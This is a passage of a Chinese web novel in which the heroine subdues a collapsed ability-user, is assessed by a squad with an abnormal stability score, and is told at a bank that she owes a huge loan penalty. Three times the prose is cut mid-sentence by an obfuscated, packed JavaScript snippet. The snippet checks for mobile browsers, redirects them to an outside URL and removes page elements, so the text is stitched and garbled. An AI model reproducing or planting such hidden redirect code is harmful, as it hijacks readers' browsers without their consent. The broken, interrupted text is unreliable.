“快闭嘴吧，要去你自己去。”许辞眠冷冷瞥了姜渔一眼。 好吧。看来园长之嘴的副作用开始了。姜渔后知后觉，悻悻收声，她看向小柳方向，不再犹豫，抬手伸向距离自己最近的一名保镖，抽出枪向中年人的腿部开了两枪。 “滚开！”姜渔呵斥着，开始向中年人那边冲刺！ 一时间，所有人面面相觑，许辞眠沉默几秒，他回忆起第一次见到这个女生挥着拳头砸向玻璃门的情景，平静说：“静观其变。” 另一边，姜渔在洁白地面上大步疾驰，她的目光死死锁定着中年人，随着两人的距离越来越近，中年人竟然再次摇了摇头后，冲向姜渔。 姜渔眉头一皱。她注意到中年人的行进方向有所蹊跷，于是保持着速度并未开枪，而就在两人距离只有几米的时候，中年人竟然径直从姜渔身边冲了过去，扑向了许辞眠等人！ “什么玩意！”姜渔听到身后传来某位保镖的大骂，她则继续埋头冲向小柳，直到来到门前，扶起小柳。 小柳咳出了一声鲜血，因为失血过多而惨白的脸看向姜渔：“姜……姜小姐，你怎么出来了？” “少说话。”姜渔根本不知道该按住小柳身体的哪处才能止血，只好急声问：“开门，我们走。” “……我是来关门的。”小柳愣了一下，再次咳出一口鲜血，低着头苦笑：“当发生A级事故时，身处隔离区内的员工有义务单向关闭紧急通道并启用S级固门程序，使通道只能从门外开启。” 姜渔听了只感到不可置信：“为什么？” “引发A级事故的患者，一旦闯出去，造成的伤亡难以想象……只能等待夜莺小队赶到解决。”小柳轻声解释，“对不起，这是规定，我也会死。” 姜渔一下子理解了许辞眠下属脸上的难色：他认识小柳，定然知道小柳的为人。他在担心小柳已经关闭了紧急通道！ “没事，我知道。这是你的工作。”姜渔语气缓和，轻声安慰着小柳。 叮！ 忽然！一颗流弹射到了门上！ 姜渔连忙按下小柳的头，回头看去，许辞眠正在老管家的护送下，向这边狂奔过来，在他们身后，保镖们伤亡惨重，他们的手枪与配刀击中中年人的身体，却只发出金戈之声，根本无法突破中年人的肉身防御！ “还愣着干什么！”许辞眠来到这边，从齿间挤出恨意十足的话。 “放心吧，许……许辞眠。”小柳看到她之前念叨过的大人物徐公子，眼睛亮了亮，她说：“我已经将通道单向封锁了，任何生物都出不去的。虽然我知道你这么善良的人，也一定会第一时间来做这件事……” 妈的！这女的有病吧！许辞眠听后完全蒙住了，他目光游移不定，缓缓开口：“外界人民的安全固然重要，那……” “出不去了就是出不去了。”姜渔一下子看穿了许辞眠的心思，讽刺意味十足：“眠总，想想办法，救救我们。” “没用的。”老管家听到小柳的话后颓然开口，“墙内级与墙外级之间的实力差别就是天堑，我们只能任其屠杀！” …… “隔离区内的人并没有拥有墙外级实力的人。” 隔离区的总监控室内，众人围成一团，位于中央的人正是刚刚赶来的韩时跃，他正在倾听工作人员的报告。 “小柳已经将通道关闭了，可以保证事故不会波及外界。另外，许氏集团的许辞眠也在里面，据许氏集团披露的资料，他虽然最多拥有D级的战力，但身为继承人，他身边的人应该不会太弱。” “明白。”韩时跃听后，看着屏幕上靠在门边的几人，沉声问：“Y-13还有多久到？” …… “墙外级？”姜渔皱眉看向老管家。 “曾经的探索级战力体系，被列为了墙外级。除此之外，联邦推出了新的墙内级战力体系。墙内级实力测定面向所有民众公开，以便民众面对衍生体时能根据自身实力及时做出应对。”小柳调整了一下姿势，说话通顺很多，“这是在你们云市陷落后开始推行的。” 墙内级能在都市中自保，墙外级拥有在战区内活下去的实力。 姜渔很快理解了两者在名字上的区别。 “少爷，我们应该先避其锋芒。”这时，老管家向许辞眠开口建议。 看着许辞眠陷入沉思，姜渔缓缓开口：“或许我有办法。” 此话一出，几个人都看向她。 姜渔则盯着许辞眠：“你固定住那个陷入思觉塌陷的家伙，别让他跑了。” 什么叫别让他跑了？ 许辞眠听了姜渔的措辞有些凌乱。 他看向不远处正在屠杀自己保镖的中年人，心想到底是谁该跑啊？ “抱歉，我没有战斗能力。”许辞眠像看怪物一样看了姜渔一眼，转身就要走。 “你不是可以驱动长蛇么，以蛇作绳，捆住他。”姜渔淡淡开口，“剩下的交给我。” 她的话将许辞眠死死钉在原地。 他转过身，很想质问对方怎么知道自己从未公开的能力，又无法开口。 009的学号，对自己能力的熟悉，一切都在昭告这个女人就是知道自己的一切秘密！ 面对许辞眠的注视，姜渔还在心里盘算着自己的推测。 从两次接触来看，中年人对她非但没有攻击意图， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在此时，姜渔跃向空中，她的膝盖狠狠地撞在中年人的胸口，将其再度重重撞倒在地，同时，姜渔伸出双手，死死箍住中年人的头，低喝一声：“看着我的眼睛！” 中年人却死死闭上了眼。 果然如此……中年人的举动印证了姜渔的猜想，她两根手指立即撑开中年人的眼睛，露出那一片血红：“看我！” 视线交汇，数秒之后—— 天地俱灭！ 姜渔觉得自己猛然坠入到了一片虚空。 她漂浮着，四周漆黑，只有远处一点光亮。 她视线凝聚，看到那片光亮中，包裹着一个男人，就如一个金色的蚕蛹。 她立即大喊：“醒来！” …… “Y-13小队已经在门外就位！” 总监控室内，以韩时跃为首，所有人都紧张地看着屏幕。 虽然屏幕在几秒前，就因为老管家的变异暴走而变得全部漆黑了。 韩时跃听到这句话，刚想下令，整间监控室内都闪起了红光！ “这是什么意思？”韩时跃皱眉询问。 隔离区的总负责人脸色煞白，他绝望地大喊：“支……支配者！世海之钻检测到了支配者的能力波动！荆冠……荆冠再次降临了！！完了！我们完了！” 总负责人的话，一下子将所有人拉回数百年前，人类被支配者血洗的恐惧中。 “让Y-13原地待命。” 良久，韩时跃下令道：“我亲自去。” 而就在韩时跃刚迈开步子，红光骤然消失了。 “……是，是世海之钻出了问题？”总负责人呆滞许久，试探地闻向身边的技术人员。 韩时跃看了眼同样一脸困惑的技术人员，重新说：“Y-13小队出发。注意安全。” …… 姜渔睁开眼，看到中年人一双血眼中，渐渐浮出了瞳孔，来自他的挣扎也变得小了许多。 姜渔不知道该如何做，她只好挥起拳头，一拳拳砸向中年人的脑袋。 她一遍遍地呵斥：“醒来！醒来！醒来！” 吱的一声，紧急通道的门开了。 五名夜莺小队的队员装备齐全，冲向室内，然后呆呆地站在原地，竟然一时间不知如何行动。 数十米外，视线尽头。 一个女生，既没有使用异能，也没有手持武器，她散着发，单膝压住引发A级事故的探索级强者，无情地挥出一拳又一拳…… “韩队，请再次确认，哪个是待处理目标？” …… 总监控室内。 随着象征绝望的红光消失，屏幕上陆陆续续多了画面。 韩时跃也注视到了那个陷入暴走状态的女生，目光复杂。 他利用对讲向夜莺小队吩咐道： “先把那个女生处理一下，再打下去会死人的。” 他说，“肇事者还不能死，他要接受联邦的审判。” 众人得到命令后迅速展开行动。 站在一旁年轻队员不可思议地开口：“一个陷入思觉塌陷的探索级竟然被这几个人这么快地摆平了，许家这位继承人有些实力啊。” “许辞眠？”透过监控，韩时跃看着中年人几乎扭曲的四肢，无论是胳膊还是大腿，都像是被什么东西死死禁锢过，只不过此时那种东西已经不见了，他摇摇头，“他有些本事，但不该有这样的能力。” 一旁，一直保持沉默的墨镜男嘴角勾起一抹邪笑，接着点了点画面中被压制住的姜渔，饶有兴趣地开口道 “老韩，丁素从战区带回来那个人，是她吧。” 26. 旧民 姜渔再次睁开眼，就看见一张皱巴巴的小脸在盯着自己。 “姜小姐你终于醒了，我以为你为了救我死掉了！” 姜渔活动了下眼球，慢慢地感受四肢，才发现右手酸疼得厉害。 她刚刚好像进入到了某个空间，并在那儿钳制住了陷落体。 “那个陷落体呢？醒来了么？”姜渔在小柳的帮助下缓慢起身。 小柳点点头，“医生说他的脑电波已经恢复正常了，有很大概率能醒来，姜小姐，你真厉害，竟然能把他制服。” 姜渔回想自己那时的做法，完全是一种本能的冲动。 或许是求生欲吧，姜渔想。 她早就注意到坐在一旁的许辞眠，“诶，药罐子，你怎么还没走。” 许辞眠没回答，他冲小柳递了个眼色，示意她先出去。 门被关上，房间内顿时只剩下了他们俩。 许辞眠不紧不慢地按下了隐私窗帘的按钮。 姜渔不错眼珠地盯着他，暗暗地盘算如果现在跟许辞眠动手，胜率是多少。 答案是0。 现在她的右手几乎是废的。 于是姜渔转变了策略，挂上讨好的笑，“关窗帘干什么，眠总不是这种趁人之危的人吧。” 许辞眠活动了活动手腕，他突然俯身，手按在了姜渔的腰间，下移。 姜渔感觉什么东西被他抽走了。 他用两根修长的手指夹着，递到姜渔面前。 “姜，小，姐？” “你不是叫黄筝月么？” 姜渔想到了当时情急之下递上的名片，坏了。 “嘿嘿，拿错了，这是我同事的。” 许辞眠唇边溢出一声轻笑，“编，继续编” 他将一个平面设备递给姜渔，页面停留在一篇新闻报道上： “姜渔，云市战区的离奇幸存者……本台报道，记者……黄筝月” 这小女孩，动作也太快了。 姜渔再抬起头，脸上的笑容已经没了。 反正自己活下来了，有什么好怕的。 “没错，我是利用了你。”姜渔调整了个舒服的姿势，她如果没猜错，许辞眠还没只手遮天到在这个时候杀自己。“想活命嘛，不丢人。” “更何况，最后谁救了谁还不一定呢。”姜渔揉了揉自己酸痛的右手，“要真较真，你得报答我。” 她话音刚落，右手就被许辞眠握住了。 “报答你？好啊。” “那你先告诉我，你怎么知道我的学号的？” 他的手逐渐攥紧，疼痛的感觉在加剧。 姜渔感觉右手快要失去知觉了，她刚要抬起脚踹他的胸口，许辞眠另一只手按住了她的腿。 这个死药罐子，难道身体不好是装的，明明能轻易捏碎人的骨头。 姜渔咬着牙，不让自己脸上流露出一丝服软和痛苦。 许辞眠似乎觉得愈发有趣了。 咔哒一声。 门开了。 顾礼探进头来。 姜渔和许辞眠还保持着那个诡异的姿势。 “我来的不是时候？”顾礼虽然这么问，仍然挤了进来。 他身后，还跟进来一大串人。 包括许氏集团的人和夜莺机动小队的人。 许辞眠松开了手，掏出一块手帕仔仔细细地擦手。 姜渔终于得到一丝喘息，发现顾礼手上拎着她的行李。 “走吧，我们老大让我带你回总部。” “你们老大？丁素？”姜渔抬眼问。 “不，韩队。”顾礼搀扶着姜渔起身。 姜渔刚好看见许辞眠听见这个名字后手上动作一滞，“你是夜莺机动队的人？” 他是在问姜渔。 姜渔这次没再撒谎，她指了指顾礼，“我不是，他是。” “如果你这个时候杀我，他有权就地枪决你。” 顾礼刚想反驳姜渔他没有这个权力，就被姜渔一个眼刀制止了。 许辞眠的眼神停留在姜渔脸上很久，如果姜渔是夜莺要的人，他还真不好惹。 于是许辞眠招了招手，带着一群人乌泱泱地离开了病房。 “诶，药罐子。”姜渔突然开口叫住了他。 许辞眠停下脚步，稍微偏过头，示意姜渔继续。 “查一下关押那个塌陷体的休眠仓吧，立刻。”再晚证据可能就被销毁了。 听完姜渔的话，许辞眠没有回答是，也没拒绝，他加快步伐，带着许氏集团的人离开了。 “你怀疑休眠仓被人做了手脚？”顾礼若有所思地看着姜渔。 姜渔点头，“不能百分百确定，但你不觉得一切太巧了么？” 其实姜渔早就怀疑了，许氏集团供应的隔离仓技术，偏偏在今天许辞眠来视察的时候出事。 许辞眠不便回答，也许是因为周围的人里也不全是他的人。 而姜渔知道，她对许辞眠的提醒是示好，她刚进主城，得罪许氏集团的人并不是什么好事。 === 夜莺总部，指挥官办公室。 韩时跃坐在办公桌前听丁素汇报云市的状况，他身边，戴着墨镜的男人举着手机在自拍。 时不时露出各种搞怪的表情。 “丁程野，你到底要在我这儿赖到什么时候。”韩时跃终于皱着眉开口。 被质问的男人慢悠悠地放下手机，他把墨镜上推挂在头发上，露出一双笑眯眯的丹凤眼， “老子今天可是带了任务来的，你不给我人，我公司要倒闭了。” “你想从夜莺拿人？”韩时跃挑了下眉。 夜莺代表了联邦需求，权重是高于一切的。 但丁程野似乎对此不置可否，“反正没有人，我干不下去。” 韩时跃按住了眉心，他这个老战友一向棘手，别说他，就是老指挥官也拿他没辙。 三年前，丁程野犯了错误，被鞭笞革职，他干脆下海经商，成立了精卫快递公司。 该快递公司业务广泛，什么都送。 机密文件、合金、衍生体的污染物、甚至随时可能会醒来的塌陷体…… 在势力割据的末日，大受欢迎。 但由于太过危险，人员流失严重，即使高薪，也很难招到员工。他这次来，就是为了让韩时跃给自己推荐一些“犯过错”被革职的夜莺机动队员。 “老子不像你们夜莺，要求人品高尚背景清白，只要不怕死，谁都行。”丁程野说着，还冲丁素眨了眨眼，“你要来也可以哦，包你荣华富贵的。” 丁素笑了一下，算是婉拒。整个联邦都知道，这位野总人如其名，路子野得很，为了钱可以不要命，当然了是下属的命。 精卫公司很容易进，就是留下来难。因为一般人都活不过第一趟任务。 而公司里最多的，就是亡命徒，也就是一些黑户、末日难民，甚至是退役的夜莺队员。 有传言称精卫里有几个高级的墙外级的快递员，就是夜莺某个犯错被革职的小队，被野总高薪忽悠去了，现在成了公司的金牌团队。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她刚进主城，现在又受伤了，我把她送去宿舍先休息一下。” 韩时跃听闻后点点头，他翻开姜渔的报告，顿时惊讶地挑起眉。 “实力C级普通人？”他反复翻看报告上的名字。 是姜渔。 “确定没有搞错？”丁程野此时又活了过来，高声问顾礼。 “应该不会搞错，丁素队长嘱咐我去拿，我还等了好一会儿。” “而且，昨天进隔离区检测的，只有姜渔自己。” 姜渔既不是改造人，也不是“旧民”。 虽然普通人中能达到墙内的C级，已经算是佼佼者。 可这只够进入夜莺机动队的预备役，接受训练才能出站。 一旁的丁程野淡定了不少，他拿定注意姜渔是个好胚子。 他才不拘泥于什么ABCDS级，只要能打的他都要。 “不是’旧民‘好，我精卫不嫌弃。”丁程野已经激动地想开一瓶香槟庆祝，恨不得现在就把姜渔扛起来回公司入职。 “你等等，”韩时跃终于翻看完了姜渔的报告，“先看看这个再说。” 他直接把报告递到了丁程野面前。 上面写着几个标红的字：“重要风险提示：主体值异常” 目光下移，被圈红的地方写着： 主体值为2，怀疑重度精神分裂。 27. 主体值 明亮的走廊中，阳光温暖，姜渔跟在顾礼身后不停打量，直到顾礼停在一扇门前。 顾礼敲了两下门，门内响起了一句“进来”。 顾礼推开门，让出半个身位，姜渔会意走了进去。 办公室内，装修简洁。除了熟悉的丁素外，一个脸部线条硬朗的男人坐在办公桌前，手中拿着一页纸，眼神有些复杂。另外一个有些不修边幅的男人则大大咧咧坐在会客沙发上。 三个人都看向了姜渔。 “韩队长？”姜渔率先打破沉默。 韩时跃点点头，他揉着太阳穴，一时不知该从何说起，几秒后才说：“坐。姜渔是吧？我希望能从你嘴里听到更详细的事情……” 室内只有一个会客沙发，被丁程野坐着。 虽然丁程野识相地收起了大大咧咧地坐姿，向旁边靠了靠，但姜渔还是摇摇头说：“我站着就行。你想了解什么？韩队长？” “我……” 韩时跃刚刚开口，就被丁程野打断了。 “还了解什么呀，主体值为2的话，基本没有什么参考价值吧。”丁程野十分无奈地摇了摇头，随后看向姜渔，笑了笑：“我叫丁程野，你可以喊我丁总。” “你好。”姜渔微微点头。 她并未顺着对方的话喊丁总，她又没有在对方手下打工，这个总那个总的跟她没有丝毫关系。 尤其是，丁程野所说的话，好像对她评价并不好。 于是姜渔向韩时跃问：“请问他说的主体值为2是什么意思？是在说我吗？” “不错，是你的精神隔离报告。”韩时跃点了点桌上的文件，“关于主体值，你可以理解为评定一个人精神是否稳定的数值。”韩时跃点点头，“主体值越接近于1，精神状态越稳定，在接近衍生体时，越不容易陷入幻境沼泽。一般而言，人类的主体值浮动在0.3左右。而你……” 姜渔琢磨了一下：“看来我的主体值很高？” “特别高。” “主体值高有什么不好？” “这个……” 韩时跃向来处变不惊，就连刚刚面对“支配者荆冠降临”的误判时，也不慌不忙，这是他对自己实力十分自信的一种表现。 但主体值为2的人，他也是第一次遇见。 韩时跃组织了一下话语：“我解释一下吧。主体值为0.8左右的人群，自我意识较差，容易被外界影响。主体值为1.2左右的人群，普遍带有自大的特质，服从性较差。我最近听说过主体值最高的人，是1.505。这个人患有严重的人格分裂，两个月前，因犯下连环杀人案被捕。” 丁程野摆摆手再次打断韩时跃，一脸认真地总结：“这么说吧，主体值为2，一定是大疯子。” 这个姓丁的也太没礼貌了。姜渔不爽地看向丁程野，心中却也忍不住这个“主体值”更加好奇。难道自己真的是精神分裂？纪小麦是自己想象出来的？ 好在韩时跃的话及时打断了姜渔天马行空的联想。 “不能这么说，主体值与疾病并不具备强关联关系。主体值高低，未必有精神疾病。但有精神问题的人，主体值必然与常人不同。” 姜渔问：“所以？” “所以关于姜小姐向丁素所说的，那个在云市出没的类人形生物，我大概能理解一些了。” 姜渔立即反应过来：“你的意思是我精神出了问题？是我编造的？” 韩时跃努力措辞：“我只是说，姜小姐的所见所思，真实性都有待商榷。但这些不是你的问题，也不是你能主导的。” 姜渔开始觉得众人向看自己的目光，都带着关怀病人的意思了…… 可她清楚地知道自己没疯，从1301室到陆伯原的幻境，再到今天的塌陷体，她切切实实地进入到了另一个空间。 而精神隔离报告上的主体值为2，有没有可能是因为在自己的脑海深处，连接着1301室，而在1301室内，还住着一个纪小麦？ 姜渔暗暗推测道，这是她最重要的秘密，她肯定不会向众人解释。 “那这里还有我什么事吗？” “事实上，我本来是计划招募姜小姐进入夜莺的。”韩时跃道出自己的计划，“不过光是主体值一项，就与夜莺的要求不太相符，所以很遗憾……” “没关系。”姜渔对加入夜莺并没有什么兴趣，要知道加入夜莺就代表着拿到的晶核都要上交，这可与她的还贷计划完全相悖。不过，她敏锐地察觉到了韩时跃话中的另一层意思，追问：“所以，在得知我的主体值前，韩队长您就计划招募我了。那么，您当时是因为什么而做的决定？” 姜渔的提问使屋子内的几个人都换了换眼神。 要知道，夜莺小队的精英们承载着人类的希望，走到哪里都是备受尊敬的存在。反观姜渔，在得知自己差点就能加入夜莺的消息后，竟然没露出一点遗憾的情绪。 这个女生，不仅对夜莺没什么向往之心，而且看问题看得很透彻。 针对这一点，韩时跃就不抗拒姜渔的提问，他说：“我本以为你是拥有支配力的‘旧民’。” “旧民？” “自从人类掌握了检测太古粒子的技术后，我们知道有一部分人类的体内先天具有太古粒子，这些人非但对幻境沼泽的抗性更强，而且有几率觉醒各种非凡力量。学者们认为这群人的血脉与荆冠存在共同之处，便将这群人称之为‘旧民’。”韩时跃毫不掩饰眼神中对姜渔的欣赏，“当我看到你在……制服陷落体时，下意识地认为你是‘旧民’。但通过世海之钻的检测，你只是一名拥有C级战力的普通人类。” 听到世海之钻的称呼时，姜渔立即回忆起进入隔离区检测时，抬头窥见的那一台巨大机器。 “C级战力也已经足够优秀了。”丁程野忽然开口，“姜小姐大可以考虑一下来我们精卫快递公司任职。我们这里不拒绝疯子，也不拒绝黑户，很适合姜小姐目前从头开始的生活状态。” “谢谢你的好意，我目前还没有对自己未来的职业做任何规划。”姜渔淡淡回复。 一个快递公司要什么战力啊？ 姜渔第一个念头就是这个，随即在内心腹诽，而且，谁是黑户了？ “小姜啊，我们快递公司可是大厂，基础工资高，又有提成，提成没有上限，意外险、生命险 幻境沼泽险一应俱全，待遇可比夜莺队员好多了，你大可以慢慢考虑。”丁程野的目光十分气定神闲，俨然已经把姜渔当成囊中之物。 姜渔对他的自信感到十分莫名，也不再解释，她把目光移回韩时跃脸上：“韩队长，我刚刚被救回来，想了解一下C级战力代表了什么？这又是如何检测得出的？” “一般而言，C级战力在普通人中已经属于佼佼者了，可以在衍生体入侵时承担撤离小队队员的职责。本市有完整的检测流程，可以为市民定级。但最快的方法，就是通过世海之钻进行检测。”一旁的丁素终于开口了，像这种民众都知道的事情，不必韩时跃再费劲解释，她说：“为你做检测的世海之钻，是时下可以囊括□□强度检测、太古粒子检测与精神主体值检测的最先进仪器，就连主城也仅仅只有一台的配置名额。” 姜渔默默收集着信息，说：“多谢，我想我也没有什么问题了。” “既然如此，你先在我的宿舍休息一下吧。”丁素向姜渔说道。“或者你在这里有什么可以投靠的朋友吗？” “没有。”姜渔缓缓摇头。 “对了，我们精卫提供员工宿舍哦！还有24小时帅哥管家贴心服务！小姜，你现在叫我一声老板，立刻就能搬进宿舍！”丁程野自来熟地凑近姜渔，他脖子上的大金链子晃得姜渔眼花缭乱。 怎么越听越像是骗子公司……不靠谱不靠谱。 姜渔先一步打开门，留下一脸受伤的丁程野，和一脸看好戏表情的韩时跃。 “我带你去宿舍。”丁素示意姜渔跟着自己，顾礼刚刚一直等在门外，姜渔接过他手中的包，尾随丁素穿过走廊，等待电梯，进入电梯后，丁素按亮23层的按钮，电梯无声运转。 “对了，我看了隔离区的录像，你和许氏集团的继承人许辞眠很熟？”丁素突然开口。 姜渔被问得有些猝不及防，“也不算很熟，只是有过一些渊源。” 丁素点点头，嘱咐姜渔：“主城虽然远离战区，但势力繁杂，尤其许氏集团的某些人很危险，你自己分辨。” 姜渔当然知道，许辞眠等人她是避之而不及的，只是当时为了活命她不得不求助于他…… 看丁素不像是想多聊这件事的样子，姜渔也只是点点头感激她的提醒。 虽然在丁素眼里，姜渔与她只是短暂相处，但姜渔回忆起在陆伯原的幻境沼泽中，幻体丁素临死前对她的嘱咐，心中莫名对丁素多了几分信赖…… 几秒后，电梯打开，23层仍是一条长长的走廊贯彻两端。 又走了几步后，丁素停在一间门前，通过指纹识别打开了门，向姜渔说道：“桌子上有中控电脑，没有密码，你饿了就可以在电脑上下单食物，夜莺的伙食不错，你可以都尝尝，记我的账就行。除此之外，日用品都可以在上面下单。在你稳定之前，可以一直住在这里。” 姜渔这些时日经历了太多，身心俱疲，这里的环境虽然简约但让她感受到了安全和放松，姜渔看向丁素，真挚道谢：“谢谢。” “不用。回来了就好。”丁素看着姜渔，忽然笑了，“你好好休息吧，除了我回家会按门铃外，应该不会再有人来打扰你。至少不会破门而入，现在的人类还是很有礼貌的。” 姜渔想到两人的第一次见面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14329359|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，会心一笑。 “那就这样，不打扰你了，我还要去陆伯原那边。虽然你的经历也很特殊，但现在，他才是明星人物。”丁素笑着说道。 “好。”姜渔点头。 下一秒，丁素便关上了门。 姜渔长长呼出一口气，她简单地在房子里绕了一圈。这是一间开间，六十平米左右，陈设简单，可以说与酒店无异，丁素的个人用品很少，不知道是不是因为丁素在城里有自己的房子。 姜渔并没有去动电脑，她简单地洗了把脸，无尽的疲惫席卷而来，她扫视了一圈，选择了开间中的小沙发，就这样蜷缩着睡着了。 这一觉，睡得很沉，很沉。 虽然没有被子，也不是躺在舒服的床上，但姜渔感到了无尽的安心，毕竟在这个世界上，夜莺总部确实是最安全的地方之一了。 …… 经历沉沉的一觉后，姜渔睁开了眼。 日光正亮，她看到墙上的电子时钟显示，自己竟然睡了足足一天一夜，从昨天的中午一直睡到了第二天上午。 姜渔对自己的睡眠质量暗自咂舌。 她闭目沉思，转眼来到1301室，房间内并没有纪小麦的身影，次卧门关着，但没有关紧，嵌着一丝缝，透过缝隙看过去，次卧内昏昏暗暗，纪小麦穿着睡衣，搂着被子，睡得乱七八糟。 再次见到睡懒觉的纪小麦，姜渔心底又涌起了恍如隔世的感觉。 她摇头笑了笑，闭目凝神，回到了现实中的丁素宿舍，起身来到电脑前，下单了一些洗漱用品，几分钟后，门铃响起，机器人送来了洗漱用品。 姜渔开始洗漱，随着淋浴开启，水滴与雾气在浴室中蔓延开来。 当穿好衣服，吹干头发，姜渔站在镜子前，瞬间觉得自己满血复活了，整个人荣光焕发的，没有一点点疲惫。 最终，姜渔将丁素的宿舍打扫干净，背上背包，出了门。 虽然丁素明确说她可以一直住在这里，但她不喜欢欠人情，现在她更想靠自己争取一个稳定的生活。 抱着这样的想法，姜渔走出了夜莺总部大楼. 她在浅灰色的楼宇间穿梭，步行至市政中心，在经过了一系列填表后，姜渔激活了已经被注销的身份信息，拿到了重新启用的身份卡。 随即，姜渔带着身份卡，来到刚刚步行时看到的曙光银行门前。 她走进去，向一名长相甜美的银行职员问：“请问这附近有云市建设银行吗？” “您好，云市建设银行在半年前已经被我们曙光银行收购了。”职员露出职业的微笑，贴心问：“您没有收到通知吗？或许您经常使用的是其他银行？” “……说来复杂。”姜渔不想多作解释，她掏出身份卡，“那可以帮我重新办一张卡吗？我记得里面还有一些钱，这些钱应该还在的吧？” “当然了，作为许氏集团旗下的两大银行之一，我们拥有世界上最专业的团队，关于保障客户的资金安全这一点是有绝对自信的。”职员双手恭敬地接过身份卡，去往银行大厅角落的一台机器上开始办理业务。 “请输入您曾经持有卡的密码或指纹。” 哒哒哒。姜渔输入了六个数字。 “哎呀。”始终专业素养在线的职员，忽然发出了一声失态的轻呼。 “怎么了？”姜渔眉头轻皱，“我的钱没了？” “不，您的钱还在。账户余额是83655联邦币。” “嗯，差不多。”姜渔回忆了一下，确实该是这个金额，她好奇地凑过去，“那是有什么其他的问题吗？” 姜渔一眼看到机器上，闪烁着淡淡的红光，还有一串长长的数字。 “请问您之前是否贷过款？” “是的。贷了110万，三十年还清。”姜渔心里隐隐升出不妙的感觉，“不过云市……” “那就对了。”职员没有听姜渔的解释，她看着屏幕，眼神中闪着“大业务来了”的激动。 尽管如此，职员还是语气平静：“您因还贷逾期，且拒绝与本行进行沟通，被本行列为了失信黑名单内，根据当初的贷款条款，在本行未对您进行诉讼前，您每日的贷款利率都进行了一定的提高。不过，如果您能尽早还清违约金，本行并不会起诉您。” “不是……”姜渔脑袋空了一大片，她努力地平静下来，问：“违约金多少啊？我这边情况很特殊……” “我理解的。而且，为客户着想也是我们的首要出发点。”职员表情关心地安抚姜渔，说：“作为本行的经理，我可以跟行长请求，免掉您违约金的零头，并额外扣除两成的违约金。” 两成，那就是八折。姜渔觉得好像还不错，说：“那真是谢谢你了啊……所以扣除后是多少？” 职员礼貌微笑：“是560亿联邦币，姜渔小姐。” 28. 重点监察对象 560亿联邦币。 姜渔上一次听到这么大的数字，云市还没有陷落，纪小麦在打工的空余时间拉着姜渔陪她玩过一款娱乐圈背景的经营游戏，顶流影帝温不朽代言，里面有一个角色就是以他为原型设计，游戏中有一个情节是帮助温不朽和无良娱乐公司解约，违约费五百亿游戏币。姜渔和纪小麦特意算过，如果使用游戏中的彩票系统抽奖，每天都可以中五百万头奖的话，要连续中三十年。姜渔算完就直接弃游了，心想这什么影帝啊不是纯纯在演玩家吗？ 姜渔现在就有一种被演了的感觉。 “请听我说，这里面一定有什么误会。”姜渔耐心地解释说，“一年前，云市被衍生体攻击，我被困在云市，昨天才从云市回来。我就算想按时偿还贷款，也没有办法呀？云市所有的通讯系统都瘫痪了。” “姜渔女士，我对您的遭遇表示同情。但相似的借口在这个月已经被用过很多次了。”职员笑着说，“有人说被困在衍生体陷落的城市，有人说陷入了幻境沼泽，还有人说被衍生体一拳打晕抢走了银行卡并被破解密码取走了所有钱。我们实在不能核实您所说是否属实。” 哪来儿这么多奇葩啊？姜渔听了乱七八糟的理由后脑子都要昏掉了，还好听清了职员的最后一句话，她立即说道：“能核实。你可以向夜莺机动队求证。” “夜莺机动队？”职员脸色一变，她眼神闪烁一番，说：“有夜莺机动队作证，本行自然是愿意配合查证的。如果是真的话……” “嗯？” 职员眼神一定，说：“如果是真的话，本行会为您再抹掉60亿的违约金，只需要偿还500亿就好了！” ……这是重点吗！ 500亿和560亿对我来说有什么差别啊！ 而且退一万步说，60亿也是一笔很大的数字啊？ 一名银行经理，居然轻飘飘地把60亿的金额说抹掉就抹掉了，完全就是自己也很心虚，只想着从我身上能赚点是点吧？ 姜渔气得牙都要咬碎了：“如果我无法偿还呢？” “我说过，我们拥有最专业的团队，会对您进行最严苛的法律诉讼呢。”职员彬彬有礼地回复。 姜渔深呼吸几口气，平定了起伏剧烈的胸口，她看着职员冷静说：“既然如此，我也保留起诉你们银行的权利，如果……” 砰！ 姜渔话还没有说完，银行门口忽然闯进来一批荷枪实弹的市警。 一名市警看着姜渔，喊道：“发现目标！重复！发现目标！” 姜渔脑袋有些懵，她愣愣地看向职员：“不是姐妹，咱们刚刚不是还说至少要走一走起诉的流程吗？” ”不是我……”职员其实看到这种阵势也完全懵了，她连连摆手解释，随即她转念一想，联想到姜渔目前的欠债处境和似乎闻讯而来的市警们，带着一丝哭腔说：“姜女士你就算欠钱也不能走极端啊，我也是打工人只是按规章制度办事，不然我再帮你抹掉几十亿好了。” 别抹了啊你，这违约金里面的水分到底有多大啊？姜渔愤愤不平地怒视职员一眼。 市警此时已经持枪贴了上来：“请问是姜渔女士吗？” 姜渔双手举高，点头：“是。” 市警依然戒备十足地说：“请跟我们走一趟吧。” “没问题。”姜渔观察了一下银行大厅内的阵仗，纳闷说：“但我能知道我犯了什么事儿吗？” 市警油盐不进：“到局内自然会有人跟你解释。” “好吧。” 姜渔无奈地叹口气，在市警的枪口威胁下，离开银行，钻进了一辆警车内。 车内拢共四名市警协同，阵仗确实很大。他们都像接到了什么命令，无论姜渔怎么提问，都保持沉默。 十多分钟的车程，一路无声。 